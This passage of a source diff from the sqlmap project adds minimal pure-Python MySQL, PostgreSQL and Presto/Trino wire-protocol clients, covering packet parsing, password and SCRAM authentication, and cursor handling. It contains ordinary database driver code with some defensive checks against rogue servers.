||||
seq = (seq + 1) & 0xff
|
||||
payload = payload[0xffffff:]
|
||||
if len(chunk) < 0xffffff:
|
||||
break
|
||||
|
||||
def _lenc_int(data, off):
|
||||
first = _u8(data, off)
|
||||
if first < 0xfb:
|
||||
return first, off + 1
|
||||
elif first == 0xfb:
|
||||
return None, off + 1 # NULL (in a row)
|
||||
elif first == 0xfc:
|
||||
return struct.unpack("<H", data[off + 1:off + 3])[0], off + 3
|
||||
elif first == 0xfd:
|
||||
return struct.unpack("<I", data[off + 1:off + 4] + b"\x00")[0], off + 4
|
||||
else: # 0xfe
|
||||
return struct.unpack("<Q", data[off + 1:off + 9])[0], off + 9
|
||||
|
||||
def _lenc_str(data, off):
|
||||
length, off = _lenc_int(data, off)
|
||||
if length is None:
|
||||
return None, off
|
||||
if off + length > len(data):
|
||||
raise InterfaceError("length-encoded string overruns packet")
|
||||
return data[off:off + length], off + length
|
||||
|
||||
def _err_message(payload):
|
||||
# ERR packet: 0xff, Int2 code, (if PROTOCOL_41) '#' + 5-byte SQLSTATE, then message
|
||||
off = 3
|
||||
if payload[3:4] == b"#":
|
||||
off = 9
|
||||
return payload[off:].decode("utf-8", "replace")
|
||||
|
||||
def _bit_int(value):
|
||||
n = 0 # BIT arrives as a big-endian byte string
|
||||
for b in bytearray(value):
|
||||
n = (n << 8) | b
|
||||
return n
|
||||
|
||||
def _scramble_native(password, salt):
|
||||
if not password:
|
||||
return b""
|
||||
stage1 = hashlib.sha1(password.encode("utf-8")).digest()
|
||||
stage2 = hashlib.sha1(stage1).digest()
|
||||
return _xor(stage1, hashlib.sha1(salt + stage2).digest())
|
||||
|
||||
def _scramble_sha2(password, salt):
|
||||
if not password:
|
||||
return b""
|
||||
d1 = hashlib.sha256(password.encode("utf-8")).digest()
|
||||
d2 = hashlib.sha256(hashlib.sha256(d1).digest() + salt).digest()
|
||||
return _xor(d1, d2)
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows, self.rowcount = self.connection._query(query)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # autocommit is enabled right after connect(), matching sqlmap's autonomous-statement model
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
_send_packet(self._sock, 0, b"\x01") # COM_QUIT
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _query(self, query):
|
||||
_send_packet(self._sock, 0, b"\x03" + query.encode("utf-8")) # COM_QUERY
|
||||
try:
|
||||
return self._read_query_response()
|
||||
except (struct.error, IndexError, ValueError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def _read_query_response(self):
|
||||
seq, payload = _read_packet(self._sock)
|
||||
first = _u8(payload, 0)
|
||||
|
||||
if first == 0xff: # ERR
|
||||
raise ProgrammingError("(remote) %s" % _err_message(payload))
|
||||
if first == 0x00 or (first == 0xfe and len(payload) < 9): # OK packet (no result set)
|
||||
affected, _ = _lenc_int(payload, 1)
|
||||
return None, [], (affected if affected is not None else -1)
|
||||
if first == 0xfb: # LOCAL INFILE request
|
||||
raise NotSupportedError("LOCAL INFILE is not supported")
|
||||
|
||||
column_count, _ = _lenc_int(payload, 0)
|
||||
description, binary = [], []
|
||||
for _ in range(column_count):
|
||||
_, cpay = _read_packet(self._sock)
|
||||
off = 0
|
||||
for _ in range(4): # catalog, schema, table, org_table
|
||||
_, off = _lenc_str(cpay, off)
|
||||
name, off = _lenc_str(cpay, off) # name
|
||||
_, off = _lenc_str(cpay, off) # org_name
|
||||
_, off = _lenc_int(cpay, off) # length of the fixed-length block (0x0c)
|
||||
charset = struct.unpack("<H", cpay[off:off + 2])[0]
|
||||
col_type = _u8(cpay, off + 6) # fixed block: charset(2) column_length(4) type(1) flags(2) ...
|
||||
description.append((name.decode("utf-8", "replace"), col_type, None, None, None, None, None))
|
||||
binary.append(charset == _BINARY_CHARSET and col_type in _BINARY_TYPES)
|
||||
|
||||
_read_packet(self._sock) # EOF after the column definitions
|
||||
|
||||
rows = []
|
||||
while True:
|
||||
_, payload = _read_packet(self._sock)
|
||||
if _u8(payload, 0) == 0xfe and len(payload) < 9: # EOF -> end of rows
|
||||
break
|
||||
if _u8(payload, 0) == 0xff:
|
||||
raise ProgrammingError("(remote) %s" % _err_message(payload))
|
||||
off, row = 0, []
|
||||
for i in range(column_count):
|
||||
value, off = _lenc_str(payload, off)
|
||||
if value is None:
|
||||
row.append(None)
|
||||
elif description[i][1] == _TYPE_BIT:
|
||||
row.append(str(_bit_int(value))) # big-endian integer, e.g. b'\x2a' -> '42'
|
||||
elif binary[i]:
|
||||
row.append(value) # keep binary/BLOB columns as raw bytes (sqlmap hex-encodes them)
|
||||
else:
|
||||
row.append(value.decode("utf-8", "replace"))
|
||||
rows.append(tuple(row))
|
||||
return description, rows, len(rows)
|
||||
|
||||
def _finish_auth(sock, password, plugin, salt):
|
||||
# read the auth result, handling AuthSwitchRequest (0xfe) and AuthMoreData (0x01) for caching_sha2
|
||||
while True:
|
||||
seq, payload = _read_packet(sock)
|
||||
marker = _u8(payload, 0)
|
||||
if marker == 0x00: # OK
|
||||
return
|
||||
if marker == 0xff: # ERR
|
||||
raise OperationalError("(remote) %s" % _err_message(payload))
|
||||
if marker == 0xfe: # AuthSwitchRequest: <plugin name>\x00<salt>
|
||||
plugin, off = _cstring(payload, 1)
|
||||
plugin = plugin.decode("ascii", "replace")
|
||||
salt = payload[off:].rstrip(b"\x00")
|
||||
if plugin == "mysql_native_password":
|
||||
data = _scramble_native(password, salt)
|
||||
elif plugin == "caching_sha2_password":
|
||||
data = _scramble_sha2(password, salt)
|
||||
else:
|
||||
raise NotSupportedError("unsupported authentication plugin '%s'" % plugin)
|
||||
_send_packet(sock, seq + 1, data)
|
||||
elif marker == 0x01: # AuthMoreData (caching_sha2)
|
||||
status = _u8(payload, 1)
|
||||
if status == 0x03: # fast auth success -> OK packet follows
|
||||
continue
|
||||
elif status == 0x04: # full auth required (needs TLS or RSA - not available stdlib-only)
|
||||
raise NotSupportedError("caching_sha2_password full authentication over a plaintext connection "
|
||||
"requires RSA/TLS; use a mysql_native_password account for the dependency-free client")
|
||||
else:
|
||||
raise OperationalError("unexpected caching_sha2 auth status %d" % status)
|
||||
else:
|
||||
raise InterfaceError("unexpected authentication response 0x%02x" % marker)
|
||||
|
||||
def connect(host=None, port=3306, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
try:
|
||||
sock = socket.create_connection((host or "localhost", int(port or 3306)), timeout=connect_timeout)
|
||||
keepalive(sock)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
try:
|
||||
seq, payload = _read_packet(sock)
|
||||
if _u8(payload, 0) == 0xff:
|
||||
raise OperationalError("(remote) %s" % _err_message(payload))
|
||||
|
||||
off = 1 # protocol version (10)
|
||||
_, off = _cstring(payload, off) # server version
|
||||
off += 4 # connection id
|
||||
salt = payload[off:off + 8]; off += 8 + 1 # auth-plugin-data part 1 (+ filler)
|
||||
server_caps = _u16(payload, off); off += 2 # capability flags (lower)
|
||||
off += 1 # character set
|
||||
off += 2 # status flags
|
||||
server_caps |= _u16(payload, off) << 16; off += 2 # capability flags (upper)
|
||||
auth_data_len = _u8(payload, off); off += 1
|
||||
off += 10 # reserved
|
||||
salt += payload[off:off + max(13, auth_data_len - 8) - 1] # part 2 (drop trailing NUL)
|
||||
off += max(13, auth_data_len - 8)
|
||||
plugin = "mysql_native_password"
|
||||
if off < len(payload):
|
||||
name, _ = _cstring(payload, off)
|
||||
plugin = name.decode("ascii", "replace") or plugin
|
||||
|
||||
if plugin == "caching_sha2_password":
|
||||
auth_response = _scramble_sha2(password or "", salt)
|
||||
else:
|
||||
plugin = "mysql_native_password"
|
||||
auth_response = _scramble_native(password or "", salt)
|
||||
|
||||
# capabilities are NEGOTIATED: each side advertises what it can do and only the intersection is in
|
||||
# play. Sending a fixed set makes the client claim features a proxy/fork/older server never offered,
|
||||
# which is how a handshake ends up desynchronized rather than cleanly refused.
|
||||
if not (server_caps & _CLIENT_PROTOCOL_41):
|
||||
raise OperationalError("server does not support the 4.1 protocol, which this client requires")
|
||||
wanted = (_CLIENT_LONG_PASSWORD | _CLIENT_LONG_FLAG | _CLIENT_PROTOCOL_41 |
|
||||
_CLIENT_TRANSACTIONS | _CLIENT_SECURE_CONNECTION | _CLIENT_PLUGIN_AUTH)
|
||||
if database:
|
||||
wanted |= _CLIENT_CONNECT_WITH_DB
|
||||
flags = wanted & server_caps
|
||||
flags |= _CLIENT_PROTOCOL_41 | _CLIENT_SECURE_CONNECTION # mandatory for the packets built below
|
||||
if database and not (flags & _CLIENT_CONNECT_WITH_DB):
|
||||
raise OperationalError("server does not support selecting a database during the handshake")
|
||||
if not (flags & _CLIENT_PLUGIN_AUTH):
|
||||
plugin = None # pre-4.1.1 style: no trailing plugin name in the handshake response
|
||||
response = struct.pack("<I", flags) + struct.pack("<I", _MAX_PACKET) + struct.pack("<B", 45) + (b"\x00" * 23)
|
||||
response += (user or "").encode("utf-8") + b"\x00"
|
||||
response += struct.pack("<B", len(auth_response)) + auth_response
|
||||
if database:
|
||||
response += database.encode("utf-8") + b"\x00"
|
||||
if plugin:
|
||||
response += plugin.encode("ascii") + b"\x00"
|
||||
_send_packet(sock, seq + 1, response)
|
||||
|
||||
_finish_auth(sock, password or "", plugin or "mysql_native_password", salt)
|
||||
handshake_done(sock)
|
||||
except (DatabaseError, InterfaceError):
|
||||
_safe_close(sock)
|
||||
raise
|
||||
except Exception as ex:
|
||||
_safe_close(sock)
|
||||
raise OperationalError("handshake failed (%s)" % ex)
|
||||
|
||||
connection = Connection(sock)
|
||||
# SET NAMES: reset collation_connection to the server's default (the fixed handshake collation 45 =
|
||||
# utf8mb4_general_ci otherwise clashes with MySQL 8's utf8mb4_0900_ai_ci columns -> 'illegal mix of
|
||||
# collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1
|
||||
# so DML persists even if the server default is autocommit=0. Best-effort (one-time, at connect) - but the
|
||||
# charset has to land on *something*, else rows decode as utf-8 that never was: pre-5.5.3 servers have no
|
||||
# utf8mb4, and 'utf8' (3-byte) is the fallback every 4.1+ server does have.
|
||||
for alternatives in (("SET NAMES utf8mb4", "SET NAMES utf8"), ("SET autocommit=1",)):
|
||||
for setup in alternatives:
|
||||
try:
|
||||
connection._query(setup)
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
return connection
|
||||
|
||||
def _safe_close(sock):
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
@@ -0,0 +1,331 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python PostgreSQL frontend/backend protocol v3 client (stdlib only).
|
||||
|
||||
Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica).
|
||||
Auth: trust / cleartext / MD5 / SCRAM-SHA-256 (modern default). Uses the *simple query* protocol, whose
|
||||
per-message implicit transaction auto-commits - so it is immune to the aborted-transaction poisoning and
|
||||
commit-before-fetch pitfalls that bite the stateful native drivers. Binary (bytea) values arrive as the
|
||||
server's readable '\\xHEX' text (text result format), so no memoryview/blob corruption either.
|
||||
"""
|
||||
|
||||
import base64
|
||||
import binascii
|
||||
import hashlib
|
||||
import hmac
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DataError
|
||||
from extra.dbwire import IntegrityError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import connection_lost
|
||||
from extra.dbwire import handshake_done
|
||||
from extra.dbwire import keepalive
|
||||
from extra.dbwire import recvn
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
_PROTOCOL_VERSION = 196608 # 3.0
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000 # 1 GB - guard against a hostile/corrupt length triggering an unbounded read
|
||||
_OID_BYTEA = 17 # bytea arrives as the server's text form; decode to bytes so it hexes like the native driver
|
||||
|
||||
def _decode_bytea(raw):
|
||||
# PG text output: modern 'hex' = b'\\x<hexdigits>'; legacy 'escape' = octal \ooo + literal bytes
|
||||
if raw[:2] == b"\\x":
|
||||
try:
|
||||
return binascii.unhexlify(raw[2:])
|
||||
except (binascii.Error, ValueError):
|
||||
return raw.decode("utf-8", "replace")
|
||||
src, out, i, n = bytearray(raw), bytearray(), 0, len(raw)
|
||||
while i < n:
|
||||
if src[i] == 0x5c and i + 1 < n: # backslash
|
||||
nxt = src[i + 1]
|
||||
if nxt == 0x5c:
|
||||
out.append(0x5c); i += 2
|
||||
elif 0x30 <= nxt <= 0x37 and i + 3 < n: # \ooo octal
|
||||
out.append(((nxt - 48) << 6) | ((src[i + 2] - 48) << 3) | (src[i + 3] - 48)); i += 4
|
||||
else:
|
||||
out.append(nxt); i += 2
|
||||
else:
|
||||
out.append(src[i]); i += 1
|
||||
return bytes(out)
|
||||
|
||||
# SQLSTATE class (first 2 chars) -> DB-API exception, so callers can distinguish (mirrors psycopg2)
|
||||
_SQLSTATE_CLASS = {
|
||||
"22": DataError, "23": IntegrityError,
|
||||
"08": OperationalError, "28": OperationalError, "53": OperationalError,
|
||||
"57": OperationalError, "58": OperationalError,
|
||||
}
|
||||
|
||||
def _xor(a, b):
|
||||
# byte-wise XOR of two equal-length byte strings (Python 2 and 3 safe)
|
||||
if str is bytes: # Python 2: iterating bytes yields 1-char strings
|
||||
return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b))
|
||||
return bytes(x ^ y for x, y in zip(a, b))
|
||||
|
||||
def _read_message(sock):
|
||||
mtype = recvn(sock, 1)
|
||||
(length,) = struct.unpack("!I", recvn(sock, 4))
|
||||
if length < 4 or length > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("invalid backend message length (%d)" % length)
|
||||
return mtype, recvn(sock, length - 4)
|
||||
|
||||
def _send(sock, mtype, payload):
|
||||
try:
|
||||
sock.sendall((mtype or b"") + struct.pack("!I", len(payload) + 4) + payload)
|
||||
except (socket.error, OSError) as ex:
|
||||
raise connection_lost(ex)
|
||||
|
||||
def _error_message(payload):
|
||||
# ErrorResponse/NoticeResponse: series of (byte field-code, cstring value), terminated by a NUL byte.
|
||||
# Returns (human message, SQLSTATE). Tolerant of a truncated/unterminated stream (find() not index()).
|
||||
fields, off = {}, 0
|
||||
while off < len(payload) and payload[off:off + 1] != b"\x00":
|
||||
code = payload[off:off + 1]
|
||||
end = payload.find(b"\x00", off + 1)
|
||||
if end == -1:
|
||||
break
|
||||
fields[code] = payload[off + 1:end].decode("utf-8", "replace")
|
||||
off = end + 1
|
||||
return fields.get(b"M", "unknown error"), fields.get(b"C", "")
|
||||
|
||||
def _raise_server_error(message, sqlstate):
|
||||
raise _SQLSTATE_CLASS.get((sqlstate or "")[:2], ProgrammingError)("(remote) %s" % message)
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 # reset before (a failed) query
|
||||
self.description, self._rows, self._pos, self.rowcount = self.connection._simple_query(query)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
self._txn_status = b"I" # last ReadyForQuery transaction status: I(dle) / T(ransaction) / E(rror)
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # simple-query protocol commits each statement implicitly
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
_send(self._sock, b"X", b"") # Terminate
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _clear_aborted(self):
|
||||
# a prior statement left an aborted transaction block ('E'): every further statement errors with
|
||||
# 25P02 until it is rolled back. Clear it so the reused connection recovers (psycopg2 rollback semantics).
|
||||
_send(self._sock, b"Q", b"ROLLBACK\x00")
|
||||
while True:
|
||||
mtype, payload = _read_message(self._sock)
|
||||
if mtype == b"Z":
|
||||
self._txn_status = payload[:1] or b"I"
|
||||
break
|
||||
|
||||
def _simple_query(self, query):
|
||||
if self._txn_status == b"E":
|
||||
self._clear_aborted()
|
||||
_send(self._sock, b"Q", query.encode("utf-8") + b"\x00")
|
||||
|
||||
description, rows, rowcount, error = None, [], -1, None
|
||||
while True:
|
||||
mtype, payload = _read_message(self._sock)
|
||||
try:
|
||||
if mtype == b"T": # RowDescription (a new result set: reset rows so we return only the last one)
|
||||
(count,) = struct.unpack("!H", payload[:2])
|
||||
description, rows, rowcount, off = [], [], -1, 2
|
||||
for _ in range(count):
|
||||
end = payload.index(b"\x00", off)
|
||||
name = payload[off:end].decode("utf-8", "replace")
|
||||
off = end + 1
|
||||
(typeoid,) = struct.unpack("!I", payload[off + 6:off + 10])
|
||||
off += 18 # tableoid4 colno2 typeoid4 typelen2 typmod4 format2
|
||||
description.append((name, typeoid, None, None, None, None, None))
|
||||
elif mtype == b"D": # DataRow
|
||||
(count,) = struct.unpack("!H", payload[:2])
|
||||
off, row = 2, []
|
||||
for col in range(count):
|
||||
(vlen,) = struct.unpack("!i", payload[off:off + 4])
|
||||
off += 4
|
||||
if vlen == -1:
|
||||
row.append(None)
|
||||
else:
|
||||
if off + vlen > len(payload):
|
||||
raise InterfaceError("truncated DataRow")
|
||||
raw = payload[off:off + vlen]
|
||||
off += vlen
|
||||
if description and col < len(description) and description[col][1] == _OID_BYTEA:
|
||||
row.append(_decode_bytea(raw)) # bytes so sqlmap hex-encodes it (like the native driver)
|
||||
else:
|
||||
try:
|
||||
row.append(raw.decode("utf-8"))
|
||||
except UnicodeDecodeError:
|
||||
row.append(raw) # non-UTF-8 (e.g. a SQL_ASCII db): keep bytes (hex-encoded), not lossy U+FFFD
|
||||
rows.append(tuple(row))
|
||||
elif mtype == b"C": # CommandComplete ("SELECT 3", "INSERT 0 1", ...)
|
||||
tag = payload[:-1].decode("utf-8", "replace").split()
|
||||
if tag and tag[-1].isdigit():
|
||||
rowcount = int(tag[-1])
|
||||
elif mtype == b"G": # CopyInResponse - server now waits for client CopyData; refuse to avoid a deadlock
|
||||
_send(self._sock, b"f", b"COPY FROM STDIN is not supported\x00") # CopyFail
|
||||
elif mtype == b"E": # ErrorResponse
|
||||
error = _error_message(payload)
|
||||
elif mtype == b"Z": # ReadyForQuery (end of response); payload byte = transaction status
|
||||
self._txn_status = payload[:1] or b"I"
|
||||
break
|
||||
# ParameterStatus(S)/NoticeResponse(N)/EmptyQueryResponse(I)/CopyData(d)/CopyDone(c)/... ignored
|
||||
except (struct.error, IndexError, ValueError) as ex:
|
||||
raise InterfaceError("malformed backend message: %s" % ex)
|
||||
if error is not None:
|
||||
_raise_server_error(*error)
|
||||
return description, rows, 0, rowcount
|
||||
|
||||
def _authenticate(sock, user, password):
|
||||
client_nonce = cfirst_bare = salted = auth_message = None
|
||||
while True:
|
||||
mtype, payload = _read_message(sock)
|
||||
if mtype in (b"N", b"S"): # NoticeResponse / ParameterStatus may legally precede AuthenticationOk
|
||||
continue
|
||||
if mtype == b"E":
|
||||
_raise_server_error_as_operational(payload)
|
||||
if mtype != b"R":
|
||||
raise InterfaceError("unexpected message %r during authentication" % mtype)
|
||||
(code,) = struct.unpack("!I", payload[:4])
|
||||
if code == 0: # AuthenticationOk (also the trust case)
|
||||
return
|
||||
elif code == 3: # cleartext password
|
||||
_send(sock, b"p", (password or "").encode("utf-8") + b"\x00")
|
||||
elif code == 5: # MD5 password
|
||||
salt = payload[4:8]
|
||||
inner = hashlib.md5((password or "").encode("utf-8") + (user or "").encode("utf-8")).hexdigest()
|
||||
token = b"md5" + hashlib.md5(inner.encode("ascii") + salt).hexdigest().encode("ascii")
|
||||
_send(sock, b"p", token + b"\x00")
|
||||
elif code == 10: # SASL (SCRAM-SHA-256)
|
||||
if not hasattr(hashlib, "pbkdf2_hmac"):
|
||||
raise NotSupportedError("SCRAM-SHA-256 authentication requires Python >= 2.7.8 (hashlib.pbkdf2_hmac)")
|
||||
client_nonce = base64.b64encode(os.urandom(18)).decode("ascii")
|
||||
cfirst_bare = "n=,r=%s" % client_nonce
|
||||
client_first = "n,," + cfirst_bare
|
||||
_send(sock, b"p", b"SCRAM-SHA-256\x00" + struct.pack("!I", len(client_first)) + client_first.encode("ascii"))
|
||||
elif code == 11: # SASLContinue (server-first)
|
||||
try:
|
||||
server_first = payload[4:].decode("ascii")
|
||||
attrs = dict(kv.split("=", 1) for kv in server_first.split(","))
|
||||
snonce, salt, iterations = attrs["r"], base64.b64decode(attrs["s"]), int(attrs["i"])
|
||||
except (KeyError, ValueError, binascii.Error, UnicodeDecodeError) as ex:
|
||||
raise OperationalError("malformed SCRAM server-first message (%s)" % ex)
|
||||
# RFC 5802 5.1: the server nonce MUST start with the client nonce and MUST add material of its
|
||||
# own. Skipping this lets anything that can answer the TCP connection replay a recorded
|
||||
# server-first and drive the exchange - and dbwire has no TLS layer underneath to catch it.
|
||||
if not client_nonce or not snonce.startswith(client_nonce) or len(snonce) <= len(client_nonce):
|
||||
raise OperationalError("SCRAM server nonce does not extend the client nonce (rogue server?)")
|
||||
if iterations < 4096: # RFC 5802 recommends >= 4096; a tiny count cheapens an offline attack
|
||||
raise OperationalError("SCRAM iteration count %d is too low" % iterations)
|
||||
salted = hashlib.pbkdf2_hmac("sha256", (password or "").encode("utf-8"), salt, iterations)
|
||||
client_key = hmac.new(salted, b"Client Key", hashlib.sha256).digest()
|
||||
stored_key = hashlib.sha256(client_key).digest()
|
||||
client_final_noproof = "c=biws,r=%s" % snonce
|
||||
auth_message = "%s,%s,%s" % (cfirst_bare, server_first, client_final_noproof)
|
||||
client_sig = hmac.new(stored_key, auth_message.encode("ascii"), hashlib.sha256).digest()
|
||||
proof = base64.b64encode(_xor(client_key, client_sig)).decode("ascii")
|
||||
_send(sock, b"p", ("%s,p=%s" % (client_final_noproof, proof)).encode("ascii"))
|
||||
elif code == 12: # SASLFinal (server-final): verify the server too, or the handshake is one-way
|
||||
# Without this the client proves itself to the server and simply trusts whatever answers back.
|
||||
# ServerSignature = HMAC(ServerKey, AuthMessage) can only be produced by a peer that holds the
|
||||
# stored credentials, so comparing it is what makes the exchange mutual (RFC 5802 5, 5.1).
|
||||
if salted is None or auth_message is None:
|
||||
raise OperationalError("unexpected SCRAM server-final message")
|
||||
try:
|
||||
attrs = dict(kv.split("=", 1) for kv in payload[4:].decode("ascii").split(","))
|
||||
except (ValueError, UnicodeDecodeError) as ex:
|
||||
raise OperationalError("malformed SCRAM server-final message (%s)" % ex)
|
||||
if "e" in attrs:
|
||||
raise OperationalError("SCRAM authentication failed (%s)" % attrs["e"])
|
||||
try:
|
||||
signature = base64.b64decode(attrs["v"])
|
||||
except (KeyError, binascii.Error, ValueError) as ex:
|
||||
raise OperationalError("malformed SCRAM server signature (%s)" % ex)
|
||||
server_key = hmac.new(salted, b"Server Key", hashlib.sha256).digest()
|
||||
expected = hmac.new(server_key, auth_message.encode("ascii"), hashlib.sha256).digest()
|
||||
if not hmac.compare_digest(signature, expected):
|
||||
raise OperationalError("SCRAM server signature mismatch (rogue server?)")
|
||||
else:
|
||||
raise InterfaceError("unsupported authentication request %d" % code)
|
||||
|
||||
def _raise_server_error_as_operational(payload):
|
||||
message, _ = _error_message(payload)
|
||||
raise OperationalError("(remote) %s" % message)
|
||||
|
||||
def connect(host=None, port=5432, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
try:
|
||||
sock = socket.create_connection((host or "localhost", int(port or 5432)), timeout=connect_timeout)
|
||||
keepalive(sock)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
params = b""
|
||||
for key, value in (("user", user or ""), ("database", database or user or ""), ("client_encoding", "UTF8")):
|
||||
params += key.encode("ascii") + b"\x00" + ("%s" % value).encode("utf-8") + b"\x00"
|
||||
params += b"\x00"
|
||||
|
||||
try:
|
||||
_send(sock, b"", struct.pack("!I", _PROTOCOL_VERSION) + params) # StartupMessage
|
||||
_authenticate(sock, user, password)
|
||||
while True: # drain until ReadyForQuery (ParameterStatus/BackendKeyData/NoticeResponse)
|
||||
mtype, payload = _read_message(sock)
|
||||
if mtype == b"E":
|
||||
_raise_server_error_as_operational(payload)
|
||||
if mtype == b"Z":
|
||||
break
|
||||
handshake_done(sock)
|
||||
except Exception: # any setup failure (DB-API or otherwise) must still close the socket
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise
|
||||
|
||||
return Connection(sock)
|
||||
@@ -0,0 +1,192 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python Presto/Trino client over its native HTTP/REST interface (stdlib only, no
|
||||
presto-python-client). A query is POSTed to /v1/statement; the server returns JSON pages carrying
|
||||
'columns'/'data' and a 'nextUri' to poll until the statement finishes. Both X-Presto-* and X-Trino-*
|
||||
headers are sent so the same client works against Presto and Trino.
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import socket
|
||||
|
||||
try:
|
||||
from urllib.request import Request, urlopen # Python 3
|
||||
from urllib.error import HTTPError, URLError
|
||||
except ImportError:
|
||||
from urllib2 import Request, urlopen, HTTPError, URLError # Python 2
|
||||
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import http_origin
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
def _convert(value, coltype):
|
||||
# normalize Presto/Trino JSON cells for sqlmap: VARBINARY arrives base64-encoded (decode to bytes so
|
||||
# direct()'s binary handling hex-encodes it), ARRAY/MAP/ROW arrive as JSON structures (serialize to text)
|
||||
if value is None:
|
||||
return value
|
||||
if coltype.startswith("varbinary"):
|
||||
try:
|
||||
return base64.b64decode(value)
|
||||
except Exception:
|
||||
return value
|
||||
if isinstance(value, (list, dict)):
|
||||
return json.dumps(value)
|
||||
return value
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows = self.connection._query(query)
|
||||
self.rowcount = len(self._rows)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
def _split_pair(item):
|
||||
"""'key=value' -> (key, value); a bare 'key' keeps a None value (Trino sends both forms)."""
|
||||
|
||||
key, sep, value = item.strip().partition("=")
|
||||
return key.strip(), (value.strip() if sep else None)
|
||||
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, host, port, user, password, catalog, schema, timeout):
|
||||
self._statement_url = "%s/v1/statement" % http_origin(host, port)
|
||||
self._timeout = timeout
|
||||
self._headers = {"Content-Type": "text/plain"}
|
||||
for prefix in ("X-Presto-", "X-Trino-"):
|
||||
self._headers[prefix + "User"] = user or "sqlmap"
|
||||
self._headers[prefix + "Source"] = "dbwire"
